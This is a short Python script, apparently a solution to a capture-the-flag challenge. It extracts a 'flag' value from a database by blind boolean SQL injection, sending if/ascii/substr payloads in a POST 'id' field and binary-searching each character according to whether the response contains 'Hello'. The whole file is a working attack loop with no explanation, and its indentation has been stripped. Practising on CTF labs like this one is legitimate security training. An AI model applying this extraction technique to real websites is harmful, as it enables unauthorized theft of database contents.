# -*- coding: UTF-8 -*-
'''
Date: 2021-10-20 11:05:59
'''
import requests
import time
url = 'http://8c833d8c-a2bd-4d7a-b0e1-a3aaecb99737.node4.buuoj.cn:81/index.php'
flag=""
for x in range(1,43):
l = 32
r = 126
while r > l:
mid = int((l+r+1) / 2)
x = str(x)
y = str(mid)
id = {"id":'if(ascii(substr((select(flag)from(flag)),'+x+',1))>='+y+',1,0)'}
response = requests.post(url=url,data=id)
if "Hello" in response.text:
l = mid
else:
r = mid-1
time.sleep(0.03)
flag+=(chr(int(r)))
print(chr(int(r)))
print(flag)
